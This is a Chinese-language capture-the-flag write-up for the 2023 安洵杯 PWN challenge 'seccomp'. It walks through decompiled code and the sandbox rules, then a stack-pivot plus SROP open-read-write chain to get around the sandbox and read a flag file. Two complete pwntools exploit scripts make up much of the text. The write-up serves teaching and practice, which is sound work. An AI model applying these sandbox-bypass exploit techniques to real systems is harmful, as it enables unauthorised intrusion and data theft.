检查

2023 安洵杯-PWN-【seccomp】-LMLPHP

设置

在当前文件夹下或者其他地方建个flag文件,内容自己随意定😄
2023 安洵杯-PWN-【seccomp】-LMLPHP

注意事项

记得将动态链接器和动态库的文件也设置为777的权限,不然无法执行成功文件

2023 安洵杯-PWN-【seccomp】-LMLPHP

源码

main函数

2023 安洵杯-PWN-【seccomp】-LMLPHP

sub_40143E(a1,a2,a3)

int sub_40143E()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

sub_40119E()

__int64 sub_40119E()
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load");
    exit(1);
  }
  return result;
}

增加了一些沙箱

沙箱规则

2023 安洵杯-PWN-【seccomp】-LMLPHP
允许read write open rt_sigreturn chmod函数(很明显可能要用到srop)
不允许exit_group函数

sub_40136E()

__int64 sub_40136E()
{
  char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
  _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

  v2[0] = 0x6F6E6B2075206F44LL;
  v2[1] = 0x6920746168772077LL;
  v2[2] = 0xA3F444955532073LL;
  strcpy(v1, "easyhack\n");
  syscall(1LL, 1LL, v1, 9LL);
  syscall(0LL, 0LL, &unk_404060, 4096LL);
  syscall(1LL, 1LL, v2, 24LL);
  syscall(0LL, 0LL, v1, 58LL);
  return 0LL;
}
  1. 先将v1的九个字符内容打印出来
  2. 然后读入bss段上偏移404060位置内容4096个字节
  3. 然后输出v2内24个字节到终端上
  4. 然后再读入v1的58个字节

思路

存在栈溢出漏洞,并且只能修改rbp和返回地址,明显需要栈迁移
如果栈迁移后直接用onegadget获得的shellcode,但其满足的条件比较棘手,并且还需获得libc基地址
获得基地址应该可以通过两次执行sub_40136E()函数可以实现(第二次开始需要让rsp恢复和call调用方式一样,即rsp需要减8),因为v1有输出也有输入。满足对应shellcode的条件就比较麻烦了,期待各位的发挥
2023 安洵杯-PWN-【seccomp】-LMLPHP

那么无法getshell就orw,结合沙箱也很明显,而orw需要大量有关系统调用的,然后在没获得libc基地址的情况下可以通过SROP的方式实现相应的gadget

  1. 第一次输入构造好栈迁移后的rop链
    rop链:
    构造第一次读的sigreturnfram,使得将需要获取的flag文件位置字符串输入到可以写入的内存位置
    此时是否需要chmod的sigreturnfram看情况
    构造第一次open的sigreturnfram,打开flag对应的文件,此时对应的文件描述符是3
    构造第二次read的sigreturnfram,读取flag对应的文件的内容到某个可写的内存位置中
    构造第一次write的sigreturnfram,将flag写入内存的内容输出到终端上从而获得flag

  2. 第二次输入进行栈迁移从而上列的rop链

注意

rt_sigreturn系统调用函数会更新所有寄存器的值,没有设置的将默认为0,所以此时将必要的寄存器都有设置一遍,不存在什么顺序执行得到更新的。

open函数和chmod函数的参数设置有点特殊在于它有字符串,在sigreturnfram中设置比较棘手。
对于chmod

对应在sigreturn中的设置为constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH,此时是用户读|组读|其他人读

fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret

第一个参数path表示:路径名或者文件名。路径名为绝对路径名(如C:/cpp/a.cpp),文件则是在当前工作目录下的。

第二个参数oflags表示:打开文件所采取的动作。

可能值:必须指定下面某一种:

O_RDONLY(只读),

O_WRONLY(只写),

O_RDWR(可读可写)

打开/创建文件时,至少得使用上述三个常量中的一个
以下的常量是选用的,这些选项是用来和上面的必选项进行按位或起来作为flags参数。

  • O_APPEND 表示追加,如果原来文件里面有内容,则这次写入会写在文件的最末尾。
  • O_CREAT 表示如果指定文件不存在,则创建这个文件
  • O_EXCL 表示如果要创建的文件已存在,则出错,同时返回 -1,并且修改 errno 的值。
  • O_TRUNC 表示截断,如果文件存在,并且以只写、读写方式打开,则将其长度截断为0。
  • O_NOCTTY 如果路径名指向终端设备,不要把这个设备用作控制终端。
  • O_NONBLOCK 如果路径名指向 FIFO/块文件/字符文件,则把文件的打开和后继 I/O设置为非阻塞模式(nonblocking mode)-

以下三个常量同样是选用的,它们用于同步输入输出

  • O_DSYNC 等待物理 I/O 结束后再 write。在不影响读取新写入的数据的前提下,不等待文件属性更新。
  • O_RSYNC read 等待所有写入同一区域的写操作完成后再进行
  • O_SYNC 等待物理 I/O 结束后再 write,包括更新文件属性的 I/O

对应在sigreturn中的设置为constants.O_RDONLY,此时是只读形式打开

fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret

exp

无chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A

fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret
"""  
不一定会用到
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=7
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret

"""
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272 # +272
fram_open.rip=syscall_poprbp_ret

fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272#+272 如果用到chmod 的frame需要加272
fram_read2.rip=syscall_poprbp_ret

fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272#+272 如果用到chmod 的frame需要加272
fram_write.rip=syscall_poprbp_ret

payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272

#payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)

s.recvuntil(b"easyhack\n")
s.send(payload)


payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)

payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()

有chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118A

fram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret


fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret


fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret

print("open的第二个参数",constants.O_RDONLY)# 就是O_RDONLY 
print("chmod的第二个参数",constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH)
fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272+272
fram_read2.rip=syscall_poprbp_ret

fram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272+272
fram_write.rip=syscall_poprbp_ret

payload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272

payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)


payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)

s.recvuntil(b"easyhack\n")
s.send(payload)


payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)

payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()
01-17 10:51